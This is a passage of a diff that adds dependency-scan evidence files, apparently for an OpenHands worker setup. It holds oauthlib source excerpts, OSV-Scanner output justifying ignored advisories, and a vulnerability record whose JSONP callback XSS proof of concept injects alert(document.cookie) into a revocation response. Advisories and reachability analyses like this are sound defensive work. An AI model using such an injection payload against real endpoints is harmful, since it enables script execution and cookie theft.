def generate_token(length=30, chars=UNICODE_ASCII_CHARACTER_SET): +oauthlib/common.py:189: """Generates a non-guessable OAuth token +oauthlib/common.py:190: +oauthlib/common.py:191: OAuth (1 and 2) does not specify the format of tokens except that they +oauthlib/common.py:192: should be strings of random characters. Tokens should not be guessable +oauthlib/common.py:193: and entropy when generating the random characters is important. Which is +oauthlib/common.py:194: why SystemRandom is used instead of the default random.choice method. +oauthlib/common.py:195: """ +oauthlib/common.py:196: rand = SystemRandom() +oauthlib/common.py:197: return ''.join(rand.choice(chars) for x in range(length)) +oauthlib/common.py:198: +oauthlib/common.py:199: +oauthlib/common.py:200: def generate_signed_token(private_pem, request): +oauthlib/common.py:201: import jwt # noqa: PLC0415 +oauthlib/common.py:202: +oauthlib/common.py:203: now = datetime.datetime.utcnow() +oauthlib/common.py:204: +oauthlib/common.py:205: claims = { +oauthlib/common.py:206: 'scope': request.scope, +oauthlib/common.py:207: 'exp': now + datetime.timedelta(seconds=request.expires_in) +oauthlib/common.py:208: } +oauthlib/common.py:209: +oauthlib/common.py:210: claims.update(request.claims) +oauthlib/common.py:211: +oauthlib/common.py:212: token = jwt.encode(claims, private_pem, 'RS256') +oauthlib/common.py:213: token = to_unicode(token, "UTF-8") +oauthlib/common.py:214: +oauthlib/common.py:215: return token +oauthlib/common.py:216: +oauthlib/common.py:217: +oauthlib/common.py:218: def verify_signed_token(public_pem, token): +oauthlib/common.py:219: import jwt # noqa: PLC0415 +oauthlib/common.py:220: +oauthlib/common.py:221: return jwt.decode(token, public_pem, algorithms=['RS256']) +oauthlib/common.py:222: +oauthlib/common.py:223: +oauthlib/oauth2/rfc6749/endpoints/revocation.py sha256 ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c +oauthlib/oauth2/rfc6749/endpoints/revocation.py:1: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:2: oauthlib.oauth2.rfc6749.endpoint.revocation +oauthlib/oauth2/rfc6749/endpoints/revocation.py:3: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:4: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:5: An implementation of the OAuth 2 `Token Revocation`_ spec (draft 11). +oauthlib/oauth2/rfc6749/endpoints/revocation.py:6: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:7: .. _`Token Revocation`: https://tools.ietf.org/html/draft-ietf-oauth-revocation-11 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:8: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:9: import logging +oauthlib/oauth2/rfc6749/endpoints/revocation.py:10: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:11: from oauthlib.common import Request +oauthlib/oauth2/rfc6749/endpoints/revocation.py:12: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:13: from ..errors import OAuth2Error +oauthlib/oauth2/rfc6749/endpoints/revocation.py:14: from .base import BaseEndpoint, catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:15: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:16: log = logging.getLogger(__name__) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:17: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:18: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:19: class RevocationEndpoint(BaseEndpoint): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:20: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:21: """Token revocation endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:22: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:23: Endpoint used by authenticated clients to revoke access and refresh tokens. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:24: Commonly this will be part of the Authorization Endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:25: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:26: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:27: valid_token_types = ('access_token', 'refresh_token') +oauthlib/oauth2/rfc6749/endpoints/revocation.py:28: valid_request_methods = ('POST',) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:29: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:30: def __init__(self, request_validator, supported_token_types=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:31: enable_jsonp=False): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:32: BaseEndpoint.__init__(self) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:33: self.request_validator = request_validator +oauthlib/oauth2/rfc6749/endpoints/revocation.py:34: self.supported_token_types = ( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:35: supported_token_types or self.valid_token_types) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:36: self.enable_jsonp = enable_jsonp +oauthlib/oauth2/rfc6749/endpoints/revocation.py:37: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:38: @catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:39: def create_revocation_response(self, uri, http_method='POST', body=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:40: headers=None): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:41: """Revoke supplied access or refresh token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:42: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:43: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:44: The authorization server responds with HTTP status code 200 if the +oauthlib/oauth2/rfc6749/endpoints/revocation.py:45: token has been revoked successfully or if the client submitted an +oauthlib/oauth2/rfc6749/endpoints/revocation.py:46: invalid token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:47: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:48: Note: invalid tokens do not cause an error response since the client +oauthlib/oauth2/rfc6749/endpoints/revocation.py:49: cannot handle such an error in a reasonable way. Moreover, the purpose +oauthlib/oauth2/rfc6749/endpoints/revocation.py:50: of the revocation request, invalidating the particular token, is +oauthlib/oauth2/rfc6749/endpoints/revocation.py:51: already achieved. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:52: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:53: The content of the response body is ignored by the client as all +oauthlib/oauth2/rfc6749/endpoints/revocation.py:54: necessary information is conveyed in the response code. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:55: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:56: An invalid token type hint value is ignored by the authorization server +oauthlib/oauth2/rfc6749/endpoints/revocation.py:57: and does not influence the revocation response. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:58: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:59: resp_headers = { +oauthlib/oauth2/rfc6749/endpoints/revocation.py:60: 'Content-Type': 'application/json', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:61: 'Cache-Control': 'no-store', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:62: 'Pragma': 'no-cache', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:63: } +oauthlib/oauth2/rfc6749/endpoints/revocation.py:64: request = Request( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:65: uri, http_method=http_method, body=body, headers=headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:66: try: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:67: self.validate_revocation_request(request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:68: log.debug('Token revocation valid for %r.', request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:69: except OAuth2Error as e: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:70: log.debug('Client error during validation of %r. %r.', request, e) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:71: response_body = e.json +oauthlib/oauth2/rfc6749/endpoints/revocation.py:72: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:73: response_body = '{}({});'.format(request.callback, response_body) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:74: resp_headers.update(e.headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:75: return resp_headers, response_body, e.status_code +oauthlib/oauth2/rfc6749/endpoints/revocation.py:76: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:77: self.request_validator.revoke_token(request.token, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:78: request.token_type_hint, request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:79: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:80: response_body = '' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:81: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:82: response_body = request.callback + '();' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:83: return {}, response_body, 200 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:84: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:85: def validate_revocation_request(self, request): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:86: """Ensure the request is valid. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:87: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:88: The client constructs the request by including the following parameters +oauthlib/oauth2/rfc6749/endpoints/revocation.py:89: using the "application/x-www-form-urlencoded" format in the HTTP +oauthlib/oauth2/rfc6749/endpoints/revocation.py:90: request entity-body: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:91: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:92: token (REQUIRED). The token that the client wants to get revoked. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:93: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:94: token_type_hint (OPTIONAL). A hint about the type of the token +oauthlib/oauth2/rfc6749/endpoints/revocation.py:95: submitted for revocation. Clients MAY pass this parameter in order to +oauthlib/oauth2/rfc6749/endpoints/revocation.py:96: help the authorization server to optimize the token lookup. If the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py sha256 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:18: def code_challenge_method_s256(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:19: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:20: If the "code_challenge_method" from `Section 4.3`_ was "S256", the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:21: received "code_verifier" is hashed by SHA-256, base64url-encoded, and +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:22: then compared to the "code_challenge", i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:23: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:24: BASE64URL-ENCODE(SHA256(ASCII(code_verifier))) == code_challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:25: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:26: How to implement a base64url-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:27: function without padding, based upon the standard base64-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:28: function that uses padding. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:29: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:30: To be concrete, example C# code implementing these functions is shown +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:31: below. Similar code could be used in other languages. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:32: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:33: static string base64urlencode(byte [] arg) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:34: { +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:35: string s = Convert.ToBase64String(arg); // Regular base64 encoder +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:36: s = s.Split('=')[0]; // Remove any trailing '='s +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:37: s = s.Replace('+', '-'); // 62nd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:38: s = s.Replace('/', '_'); // 63rd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:39: return s; +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:40: } +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:41: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:42: In python urlsafe_b64encode is already replacing '+' and '/', but preserve +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:43: the trailing '='. So we have to remove it. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:44: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:45: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:46: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:47: return base64.urlsafe_b64encode( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:48: hashlib.sha256(verifier.encode()).digest() +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49: ).decode().rstrip('=') == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:50: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:51: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:52: def code_challenge_method_plain(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:53: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:54: If the "code_challenge_method" from `Section 4.3`_ was "plain", they are +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:55: compared directly, i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:56: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:57: code_verifier == code_challenge. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:58: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:59: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:60: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:61: return verifier == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:62: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:63: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:64: class AuthorizationCodeGrant(GrantTypeBase): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:65: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:490: challenge = self.request_validator.get_code_challenge(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:491: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:492: if challenge is not None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:493: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:494: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:495: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:496: challenge_method = self.request_validator.get_code_challenge_method(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:497: if challenge_method is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:498: raise errors.InvalidGrantError(request=request, description="Challenge method not found") +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:499: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:500: if challenge_method not in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:501: raise errors.ServerError( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:502: description="code_challenge_method {} is not supported.".format(challenge_method), +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:503: request=request +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:504: ) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:505: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:506: if not self.validate_code_challenge(challenge, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:507: challenge_method, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:508: request.code_verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:509: log.debug('request provided a invalid code_verifier.') +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:510: raise errors.InvalidGrantError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:511: elif self.request_validator.is_pkce_required(request.client_id, request) is True: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:512: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:513: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:531: request.using_default_redirect_uri = False +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:532: log.debug('Using provided redirect_uri %s', request.redirect_uri) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:533: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:534: if not self.request_validator.confirm_redirect_uri(request.client_id, request.code, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:535: request.redirect_uri, request.client, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:536: request): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:537: log.debug('Redirect_uri (%r) invalid for client %r (%r).', +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:538: request.redirect_uri, request.client_id, request.client) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:539: raise errors.MismatchingRedirectURIError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:540: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:541: for validator in self.custom_validators.post_token: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:542: validator(request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:543: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:544: def validate_code_challenge(self, challenge, challenge_method, verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:545: if challenge_method in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:546: return self._code_challenge_methods[challenge_method](verifier, challenge) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:547: raise NotImplementedError('Unknown challenge_method %s' % challenge_method) +# RevocationEndpoint construction in OAuthlib's own preconfigured servers +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py sha256 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:92: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:93: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:94: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:95: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:145: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:146: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:147: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:148: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:188: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:189: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:190: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:191: IntrospectEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:239: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:240: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:241: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:242: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:282: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:283: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:284: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:285: IntrospectEndpoint.__init__( +oauthlib/openid/connect/core/endpoints/pre_configured.py sha256 bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee +oauthlib/openid/connect/core/endpoints/pre_configured.py:137: RevocationEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:138: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:139: UserInfoEndpoint.__init__(self, request_validator) + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.json b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.json new file mode 100644 index 000000000..939d28473 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.json @@ -0,0 +1,9 @@ +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.txt new file mode 100644 index 000000000..8cc2859cb --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.txt @@ -0,0 +1,24 @@ +$ ["rtk", "/osv-scanner", "scan", "source", "--config", "/ci-config.toml", "--no-resolve", "--lockfile=requirements.txt:/candidate.lock", "--format", "json"] +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +[stderr] +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 20.073924ms elapsed, 20.074004ms wall time +GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +Filtered 2 vulnerabilities from output +/ci-config.toml has unused ignores: + - GHSA-8mgp-746c-j5xp + - GHSA-h35f-9h28-mq5c + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.json b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.json new file mode 100644 index 000000000..999118a89 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.json @@ -0,0 +1,234 @@ +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client 